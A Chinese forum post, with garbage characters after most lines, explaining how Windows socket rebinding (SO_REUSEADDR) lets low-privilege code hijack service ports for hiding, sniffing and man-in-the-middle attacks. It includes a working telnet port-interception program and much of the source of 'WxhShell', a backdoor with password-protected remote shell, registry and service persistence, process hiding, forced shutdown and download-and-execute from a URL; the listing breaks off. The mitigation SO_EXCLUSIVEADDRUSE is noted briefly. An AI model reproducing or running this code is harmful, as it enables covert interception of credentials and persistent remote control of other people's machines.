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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )4o k@^.  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^^V+0 l  
zWN]#W`  
  saddr.sin_family = AF_INET; 0LGHSDb  
X+;#^A3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ld%#.~Q  
aR)UHxvX  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); M~X~2`fFH  
Mu.tq~b >  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 e\#aQ1?"  
?(khoL t  
  这意味着什么?意味着可以进行如下的攻击: ;p,Kq5,l  
.|:(VG$MfI  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~ hP]<$v  
<,*w$  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ko{&~   
V[8!ymi0  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .K_50 %s  
uI)z4Z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +CQIm!Sp  
g5nL7;`N  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 /w5c:BH  
%}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 yp hd'Pu"  
@Rd`/S@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 E)'T;%  
uw>y*OLU+  
  #include '*U_!RmQ  
  #include _0&U'/cs  
  #include #pD=TMefC  
  #include    .dc|?$XV  
  DWORD WINAPI ClientThread(LPVOID lpParam);   hZ>1n&[ @  
  int main() ju.`c->k"  
  { j<?k$ 8H  
  WORD wVersionRequested; 3E@ &  
  DWORD ret; [8b{Yba z  
  WSADATA wsaData; ZSwhI@|  
  BOOL val; 25vq#sS]  
  SOCKADDR_IN saddr; 80U(q/H%9  
  SOCKADDR_IN scaddr; !}d_$U$  
  int err; Ngrj@_J  
  SOCKET s; (^ J2(  
  SOCKET sc; 7*+tG7I @  
  int caddsize; T[ zEAj  
  HANDLE mt; \  6Y%z  
  DWORD tid;   }Zp[f6^Q  
  wVersionRequested = MAKEWORD( 2, 2 ); meD83,L~N  
  err = WSAStartup( wVersionRequested, &wsaData ); kCZ'p  
  if ( err != 0 ) { u\K`TWb%  
  printf("error!WSAStartup failed!\n"); lo7>$`Q  
  return -1; `j6O  
  } k c L +  
  saddr.sin_family = AF_INET; sEa|2$  
   M\08 7k  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 SR4 mbQ:  
&61h*s  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -9 |)O:  
  saddr.sin_port = htons(23); 4?`*# DPl  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :K*/  
  { ;A?86o'?  
  printf("error!socket failed!\n"); :9|CpC`.  
  return -1; [xDn=)`{V  
  } C61E=$  
  val = TRUE; 7%|HtBXv^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 X-yS9E  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $ 3Sm?  
  { C9%A?'`  
  printf("error!setsockopt failed!\n"); nI`9|W  
  return -1; 5N#Sic M  
  } (]"`>, ray  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; vf!lhV-UG+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 YQ-V^e6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ocj^mxh =O  
tY`%vI [  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) S8e?-rC  
  { _nIt4l7  
  ret=GetLastError(); kc[<5^b5  
  printf("error!bind failed!\n"); x qj@T^y  
  return -1; E**Hu9  
  } UotLJa  
  listen(s,2); 69Q#UJ  
  while(1) 0[-@<w ^j  
  { ,/-DAo~O  
  caddsize = sizeof(scaddr); J)^Kls\> t  
  //接受连接请求 u0Opn=(_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8J0#lu  
  if(sc!=INVALID_SOCKET) Cyp%E5b7  
  { _lw:lZM?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); wEix8Ow*  
  if(mt==NULL)  )jH|j  
  { XTq+  9  
  printf("Thread Creat Failed!\n"); Yx"~_xA/u  
  break; J'yiVneMw  
  } 4='/]z  
  } <xD6}h/  
  CloseHandle(mt); j2%M-y4E  
  } Hy2~D:34  
  closesocket(s); xtd1>|  
  WSACleanup(); AYoLpes  
  return 0; AgJPtzs  
  }   DLEHsbP{$  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5"7lWX  
  { _lZWy$rm%  
  SOCKET ss = (SOCKET)lpParam; d?jzh 1  
  SOCKET sc; 6M6r&,yRu  
  unsigned char buf[4096]; \x~},!l  
  SOCKADDR_IN saddr; )VkH':yCM  
  long num; _sqV@ J  
  DWORD val; $_u)~O4$  
  DWORD ret; P?M WT]fY  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Hg+bmwM  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8^qLGUxz  
  saddr.sin_family = AF_INET; Dp;6CGYl?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); R5r CCp  
  saddr.sin_port = htons(23); l7S&s&W @  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +{&++^(}a  
  { I*= =I4qx  
  printf("error!socket failed!\n"); z?g\w6  
  return -1; y.WEO>   
  } '+\.&'A  
  val = 100; }N#hg>; B  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QzD8 jk#  
  { 9:CM#N~?o  
  ret = GetLastError(); q=/ck  
  return -1; l\t<_p/I)^  
  } dQPW9~g8Hg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) HA GpM\Qa  
  { 6$\'dkufQ  
  ret = GetLastError(); `>\>'V<&  
  return -1; Kfs|KIQ>=  
  } VuA)Ye  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @<=<?T> 1  
  { 0`kaT ?>  
  printf("error!socket connect failed!\n"); .Za)S5U  
  closesocket(sc); LX;" Mz>  
  closesocket(ss); =U3rOYbP;  
  return -1; , n47.S  
  } b,-qyJW6  
  while(1) Y~-P9   
  { ck#MpQ!An  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ),4c b  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 h$a% PaVf  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !^(?C@TQ  
  num = recv(ss,buf,4096,0); S0p[Kt  
  if(num>0) oz/Nx{bg  
  send(sc,buf,num,0); q,2 +\i  
  else if(num==0) Q1u/QA:z7  
  break; >WYradLUi  
  num = recv(sc,buf,4096,0); HpR(DG) ?  
  if(num>0) nB#XQ8Nzx^  
  send(ss,buf,num,0); E9v_6d[  
  else if(num==0) F@kd[>/[  
  break; = GZ,P (  
  } s92SN F}g  
  closesocket(ss); 2sahb#e )  
  closesocket(sc); +jGSD@32>  
  return 0 ; bv4G!21]*;  
  } %j2ZQ/z  
uxD$dd?  
Zf8_ko;|:-  
========================================================== 6,Y<1b*|Vo  
VgcLG ]tE[  
下边附上一个代码,,WXhSHELL l5CFm8%  
x10u?@  
========================================================== "DU1k6XC  
okQ<_1e{  
#include "stdafx.h" 5!iBKOl#D  
a X:,1^  
#include <stdio.h> /nVGr]t_pj  
#include <string.h> NKE,}^C  
#include <windows.h> f|'8~C5I@>  
#include <winsock2.h> @0U={qX  
#include <winsvc.h> h5VZ-v_j  
#include <urlmon.h> >):^Zs  
^*_|26  
#pragma comment (lib, "Ws2_32.lib") 3.<E{E!F  
#pragma comment (lib, "urlmon.lib") [vyi_0[  
_/@u[dWeL  
#define MAX_USER   100 // 最大客户端连接数 5 p! rZ  
#define BUF_SOCK   200 // sock buffer \ 3HB  
#define KEY_BUFF   255 // 输入 buffer zpBkP-%}E  
;A;FR3=)  
#define REBOOT     0   // 重启 "vN~7%  
#define SHUTDOWN   1   // 关机 h YEUiQ  
<5:`tC2  
#define DEF_PORT   5000 // 监听端口 Z<@dM2b)  
/{*0 \`;  
#define REG_LEN     16   // 注册表键长度 ~mK|~x01@  
#define SVC_LEN     80   // NT服务名长度 9 Aq\1QC  
!OL[1_-4|K  
// 从dll定义API Y>To k|PV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "=3bL>\<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _"688u'88  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vOi4$I~CJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "6 \_/l  
ylwh_&>2  
// wxhshell配置信息 |++\"g  
struct WSCFG { ^%jk.*  
  int ws_port;         // 监听端口 F%^)oQT+c  
  char ws_passstr[REG_LEN]; // 口令 XX[CTh?O%  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7dtkylW  
  char ws_regname[REG_LEN]; // 注册表键名 s2t9+ZA+s  
  char ws_svcname[REG_LEN]; // 服务名 hmM2c15T5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :~%{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m9 D' yXZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b,):&M~p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IJ#+"(?7,u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Auk#pO#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (hFyp}jkk  
$hq'9}ASOL  
}; SVJt= M  
l/g6Tv `w  
// default Wxhshell configuration .}ePm(  
struct WSCFG wscfg={DEF_PORT, d}--}&r  
    "xuhuanlingzhe", Z,}c)  
    1, =&"x6F.`  
    "Wxhshell", kYnp$8  
    "Wxhshell", ;X)b=  
            "WxhShell Service", Bb zmq  
    "Wrsky Windows CmdShell Service", ]x:>!y  
    "Please Input Your Password: ", 3T84f[CFJ  
  1, br4?_,  
  "http://www.wrsky.com/wxhshell.exe", 1XPYI  
  "Wxhshell.exe" ~1.B fOR8  
    }; AOscewQ  
((cRe6  
// 消息定义模块 W}aCU~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "`Mowp*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qEajT"?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~x6<A\  
char *msg_ws_ext="\n\rExit."; "#G`F  
char *msg_ws_end="\n\rQuit."; g=L80$1  
char *msg_ws_boot="\n\rReboot..."; (,OF<<OH  
char *msg_ws_poff="\n\rShutdown..."; ^g N/5  
char *msg_ws_down="\n\rSave to "; $i]G'fj  
AtYqD<hl:  
char *msg_ws_err="\n\rErr!"; .-4]FGg3  
char *msg_ws_ok="\n\rOK!"; SBh"^q  
U2vM|7 ]VP  
char ExeFile[MAX_PATH]; , Aw Z%  
int nUser = 0; j`:D BO&)\  
HANDLE handles[MAX_USER]; P]%)c6Uh  
int OsIsNt; %=`wN^3t2  
J1g+H2  
SERVICE_STATUS       serviceStatus; Eu|O<9U\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S:8 WBY]M  
H?cJ'Q, 5  
// 函数声明 br%l>Y\"  
int Install(void); ?'RB'o~  
int Uninstall(void); lFZl}x  
int DownloadFile(char *sURL, SOCKET wsh); .)Zs:5 0l  
int Boot(int flag); Ci_Qra 6  
void HideProc(void); 8T?D#,/  
int GetOsVer(void); CWa~~h<r-  
int Wxhshell(SOCKET wsl); o8h` 9_  
void TalkWithClient(void *cs); 7ro&Q%  
int CmdShell(SOCKET sock); pj#ls  
int StartFromService(void); 4=qZ Z>[t  
int StartWxhshell(LPSTR lpCmdLine); 4~ i?xo=;v  
Ld?'X=eQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yZQcxg%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z]08gH  
hMnm>  
// 数据结构和表定义 ;b_l/T(  
SERVICE_TABLE_ENTRY DispatchTable[] = :JIJ!Xn)  
{ > PK 6CR  
{wscfg.ws_svcname, NTServiceMain}, u\Y3h:@u  
{NULL, NULL} H*HL:o-[  
}; SZ1yy["  
6_g:2=6S  
// 自我安装 X.+|o@G  
int Install(void) 5 BLAa1  
{ J#xZ.6)  
  char svExeFile[MAX_PATH]; eI,H  
  HKEY key; DIw9ov>k  
  strcpy(svExeFile,ExeFile); y}1Pc*  
* -(8Z>9  
// 如果是win9x系统,修改注册表设为自启动 6{!Cx9V  
if(!OsIsNt) { se=;vp]3a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kgh0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (7Ln~J*  
  RegCloseKey(key); pGd@%/]AO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2p~}<B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V{UY_ e8W  
  RegCloseKey(key); x;{Hd;<YF  
  return 0; K5!OvqzG  
    } dngG=  
  } 6bN8}\5  
} !<>*|a  
else { eZBC@y  
\,ne7G21j  
// 如果是NT以上系统,安装为系统服务  0*E_D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q^bYx (r5w  
if (schSCManager!=0) J`[gE`d  
{ 83J6 3Xa  
  SC_HANDLE schService = CreateService 28qlp>U  
  ( {krBAz&  
  schSCManager, " v<O)1QT  
  wscfg.ws_svcname, {gh<SZsE  
  wscfg.ws_svcdisp, ohjl*dw  
  SERVICE_ALL_ACCESS, 2Z>8ROv^X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Eq|5PE^7  
  SERVICE_AUTO_START, 25 cJA4  
  SERVICE_ERROR_NORMAL, -Fq`#"  
  svExeFile, U"=Lzo.0  
  NULL, ?dPr HSy  
  NULL, .N7<bt@~)  
  NULL, [&g"Z"  
  NULL, >gDeuye  
  NULL WLA&K]  
  ); q@g#DP+C  
  if (schService!=0) fN/;BT  
  { (&Rql7](8  
  CloseServiceHandle(schService); SlG^ H  
  CloseServiceHandle(schSCManager); `hdN 6PgK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }?o4MiLB  
  strcat(svExeFile,wscfg.ws_svcname); '{-Ic?F<P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W-*HAS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T%Bz>K  
  RegCloseKey(key); .yDGwLry  
  return 0; /b\c<'3NY  
    } 1R;@v3  
  } O>'tag  
  CloseServiceHandle(schSCManager); (%OZ `?`  
} -y>~ :.  
} <<b]v I  
 +#\7 #Y  
return 1; sF>O=F-7  
} IEfYg(c0U  
{1qr6P,"  
// 自我卸载 1[J|AkN  
int Uninstall(void) F 2Y!aR  
{  S'\e"w  
  HKEY key; ,Js-'vX  
% m"Qg<  
if(!OsIsNt) { ,,!P-kK$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +u&[ j/  
  RegDeleteValue(key,wscfg.ws_regname); F-$!e?,H  
  RegCloseKey(key); 9)t[YE:U3!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @]]&^ 7  
  RegDeleteValue(key,wscfg.ws_regname); Z~<=I }@  
  RegCloseKey(key); ~> N63I6  
  return 0; *AP"[W  
  } jZC[_p;  
} IJt'[&D  
} +xvn n  
else { G$2@N6  
Oxa8ue?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &=MVX>[  
if (schSCManager!=0) I)yF!E &  
{ XK\3"`kd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CBoCT3@~  
  if (schService!=0) PXqG;o*Q*?  
  { \7%#4@;?  
  if(DeleteService(schService)!=0) { wZN_YFwQ  
  CloseServiceHandle(schService); m"'} {3$%  
  CloseServiceHandle(schSCManager); \A,zwdt P  
  return 0; 8\^A;5  
  } W+/_0GgQ3  
  CloseServiceHandle(schService); _m[DieR  
  } o.kDOqd  
  CloseServiceHandle(schSCManager); }i,r{Y]s]  
} &q@brX<,=  
} .6T0d 4,1  
Q4hY\\Hi  
return 1; R :(-"GW'  
} 6M. |W;  
\=7jp|{Yl  
// 从指定url下载文件 Mm(#N/  
int DownloadFile(char *sURL, SOCKET wsh) %1:caa@_p  
{ UfPHV%Wd  
  HRESULT hr; JSi0-S[Y{  
char seps[]= "/"; k_!e5c  
char *token; fIl!{pv[  
char *file; jw9v&/-  
char myURL[MAX_PATH]; _Z!@#y@j  
char myFILE[MAX_PATH]; GGhk~H4OP  
i#hFpZ6u  
strcpy(myURL,sURL); ~ !!\#IX  
  token=strtok(myURL,seps); dJ m9''T')  
  while(token!=NULL) ~D>pu%F  
  { KX]!yA  
    file=token; g&y^r/  
  token=strtok(NULL,seps); $xbW*w  
  } k}Q<#   
\ ZE[7Ae  
GetCurrentDirectory(MAX_PATH,myFILE); pA8As  
strcat(myFILE, "\\"); W>i"p~!  
strcat(myFILE, file); /.<v,CR  
  send(wsh,myFILE,strlen(myFILE),0); Y#XRn _2D  
send(wsh,"...",3,0); g_`a_0v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9$Z0mzk  
  if(hr==S_OK) /1v9U|j  
return 0; KMz!4N  
else V^&*y+  
return 1; 5.oIyC^Ik  
1kKfFpN  
} g+4y^x(X@1  
P3: t 4^  
// 系统电源模块 ?q9] H5\  
int Boot(int flag) [#q]B=JB  
{ -PAEJn5$O  
  HANDLE hToken; |Ia9bg'1U  
  TOKEN_PRIVILEGES tkp; p/?o^_s  
8"9&x} tl-  
  if(OsIsNt) { uT4|43< G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m;]wKd"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Cp mT *  
    tkp.PrivilegeCount = 1; %ACW"2#(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3>-h- cpMX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #$- E5R;x  
if(flag==REBOOT) { - ~|Gwr"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xBA"w:<  
  return 0; #aU!f"SS  
} *>KBDFI  
else { 5C9b*]-#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e5>'H!)  
  return 0; jh)@3c  
} (+epRC  
  } 7!pKlmQ  
  else { ZQ_6I}i")  
if(flag==REBOOT) { ~}}<+JEEO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o~IAZU39  
  return 0; ~qrSHn}+PU  
} ]|.ked  
else { p8_^6wfg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]*\MIz{56'  
  return 0; hj9TiH/+  
} Td|u@l4B  
} GQn:lu3j:  
oNyYx6q:Q  
return 1; WC`h+SC`.  
} ?gl&q+mv  
G/<zd)  
// win9x进程隐藏模块 #BUq;5  
void HideProc(void) 7TMq#Pb  
{ L^ J|cgmNw  
<.QaOLD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  7;fC%Fq  
  if ( hKernel != NULL ) eZa*WI=  
  { 3- Kgz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w}>%E6UY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gmRc4o  
    FreeLibrary(hKernel); A~bSB n: '  
  } _|#abLh%  
B2ln8NF#Q  
return; )}`z<)3jP  
} FOsd{Fw  
U`ttT5;  
// 获取操作系统版本 !H\o Qv-I  
int GetOsVer(void) sv% X8  
{ N|DI k  
  OSVERSIONINFO winfo; qY#*LqV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UhDQl%&He  
  GetVersionEx(&winfo); {r&mNbz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6:#o0OeBP  
  return 1; K=[7<b,:3  
  else \5r^D|Rp}  
  return 0; 9:USxFM  
} G<$:[ +w  
@-!P1]V|  
// 客户端句柄模块 #:gd9os :  
int Wxhshell(SOCKET wsl) )=[\YfK  
{ T(D6'm:X  
  SOCKET wsh; @(sz"  
  struct sockaddr_in client; l/'GbuECm  
  DWORD myID; f=F:Af!  
A*y4<'}<  
  while(nUser<MAX_USER) 2d[q5p  
{ @.eN+o9|  
  int nSize=sizeof(client); @ep.wW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N>H@vt~  
  if(wsh==INVALID_SOCKET) return 1; 3U@jw,K!{A  
]<>cjk.ya  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =6[.||9  
if(handles[nUser]==0) u?Ffqt9'  
  closesocket(wsh); 2<EV iP9  
else ?}cmES kX@  
  nUser++; "[_j8,t`  
  } .`OU\LA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F}_b7 |^  
;'n%\*+fHH  
  return 0; =GX5T(P8k  
} V!He2<  
2LtDS?)@  
// 关闭 socket %} `` :  
void CloseIt(SOCKET wsh) yW|J`\`^T  
{ eJ?oz^  
closesocket(wsh); lKf58 mB  
nUser--; I`V<Sh^Qd  
ExitThread(0); b w P=f.  
} ,>a!CnK=  
90Ki.K0  
// 客户端请求句柄 k: Pn.<  
void TalkWithClient(void *cs) ~XTC:6ts  
{ ~S8:xG+s  
Qo#]Lo> \g  
  SOCKET wsh=(SOCKET)cs; V+E8{|dYL  
  char pwd[SVC_LEN]; 8Sr'  
  char cmd[KEY_BUFF]; ,UY1.tR(  
char chr[1]; .Fo#Dmq3  
int i,j; "JB4 Uaa  
TJ"-cWpO1  
  while (nUser < MAX_USER) { xnZnbgO+  
lmeTW0U@9(  
if(wscfg.ws_passstr) { tAAMSb9[d  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n~I-mR)"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z}+}X|  
  //ZeroMemory(pwd,KEY_BUFF); z\]Z/Bz:6  
      i=0; WO qDW~  
  while(i<SVC_LEN) { a2Ak?W1  
-l= 4{^pK  
  // 设置超时 w|9 >4  
  fd_set FdRead; "2cOSPpQL  
  struct timeval TimeOut; FH,]'  
  FD_ZERO(&FdRead); qbv\uYow3k  
  FD_SET(wsh,&FdRead); >WSh)(Cg  
  TimeOut.tv_sec=8; PK[mf\G\  
  TimeOut.tv_usec=0; ojd0um6I{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~1uQyt  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >yC=@Uq+  
U,=f};  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X4V>qHV72  
  pwd=chr[0]; _Si=Jp][  
  if(chr[0]==0xd || chr[0]==0xa) { ?})A-$f ~  
  pwd=0; Cyg2o<O@  
  break; )E^S+ps  
  } [YOH'i&X  
  i++; Z`S# > o  
    } |MwV4^  
I1<WHq  
  // 如果是非法用户,关闭 socket 6'#5Dqw"r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); TjUwe@&Rw  
} .?:*0  
?M4o>T%p"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {kpF etXt?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z?o8h N\  
X8)k'h  
while(1) { 4IeCb?  
l f>/  
  ZeroMemory(cmd,KEY_BUFF); F/oqYk9`  
q1}!Okr"2  
      // 自动支持客户端 telnet标准   xuioU  
  j=0; ;U* /\+*h  
  while(j<KEY_BUFF) { /v 8"i^;}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t8^1wA@@V  
  cmd[j]=chr[0]; (4YLUN&1O$  
  if(chr[0]==0xa || chr[0]==0xd) { |+nmOi,z  
  cmd[j]=0; N"70P/  
  break; F 3|^b{'zO  
  } 4aXIRu%#7  
  j++; 1/}H 0\9'  
    } =-U0r$sK+F  
sO .MUj;  
  // 下载文件 !d72f8@9  
  if(strstr(cmd,"http://")) { enQ*uMKd^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =QqH`.3  
  if(DownloadFile(cmd,wsh)) 6<lo0PQ"Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x92^0cMf  
  else y]h0c<NP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !..<_qfw  
  } `2.c=,S{  
  else { QOWGQl%!  
Bj@>iw?g'  
    switch(cmd[0]) { ;R?@ D]  
  *[si!e%  
  // 帮助 hYJzF.DW<$  
  case '?': { u$T]A8e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U=n7RPw  
    break; 4XpWDfa.}  
  } BSm"]!D8*  
  // 安装 2k.VTGak  
  case 'i': { X*2W4udF  
    if(Install()) cH5i420;aO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f[o~d`z  
    else ',EI[ ]+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %Ig$:I(o  
    break; 7+HK_wNi  
    } $TIeeTB  
  // 卸载 v=llg ^  
  case 'r': { @v)Z>xv  
    if(Uninstall()) Gx C+lqH#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }5 rR^ryA  
    else i'ap8Dr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !ho^:}m  
    break; /QXUD.( 8  
    }  3 xyrWl  
  // 显示 wxhshell 所在路径 <h#*wy:o2  
  case 'p': { 5u$.!l8Nl  
    char svExeFile[MAX_PATH]; noWF0+ %  
    strcpy(svExeFile,"\n\r"); eRMN=qP.q  
      strcat(svExeFile,ExeFile); ^j}C]cq{Xg  
        send(wsh,svExeFile,strlen(svExeFile),0); F-m%d@P&X  
    break; !r njmc  
    } YmV/[{  
  // 重启 Hx.|5n,5  
  case 'b': { \J^#2{d  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >=@-]X2%j  
    if(Boot(REBOOT)) 2`=jKt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YC6T0m  
    else { MPB[~#:  
    closesocket(wsh); 7b"fpB  
    ExitThread(0); | eBwcC#^  
    } `J.,dqGb  
    break; Sdq}?-&Sa  
    }  [Sm<X  
  // 关机 MLDzWZ~}ef  
